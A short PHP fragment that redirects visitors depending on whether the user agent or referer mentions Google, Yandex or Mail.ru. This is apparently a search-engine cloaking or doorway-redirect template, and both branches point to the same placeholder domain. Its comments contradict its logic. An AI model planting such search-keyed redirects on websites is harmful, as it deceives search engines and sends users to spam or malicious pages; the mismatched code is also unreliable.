// checking visitor's user agent
$useragent = $_SERVER["HTTP_USER_AGENT"];

$refUrl = $_SERVER['HTTP_REFERER'];

function redirect($url, $permanent = true)
{
    if (headers_sent() === false)
    {
        header('Location: ' . $url, true, ($permanent === true) ? 301 : 302);
    }

    exit();
}

if (strpos($useragent, "googlebot") !== false || strpos($useragent, "google") !== false || strpos($useragent, "yandex") !== false || strpos($useragent, "mail.ru") !== false || strpos($refUrl, "google") !== false || strpos($refUrl, "yandex") !== false || strpos($refUrl, "mail.ru") !== false)
        {
         // redirect goes here for normal people
         redirect( 'https://домен', true);

        }
else {
   // redirect on ERROR page goes here
   redirect( 'https://домен', true);
}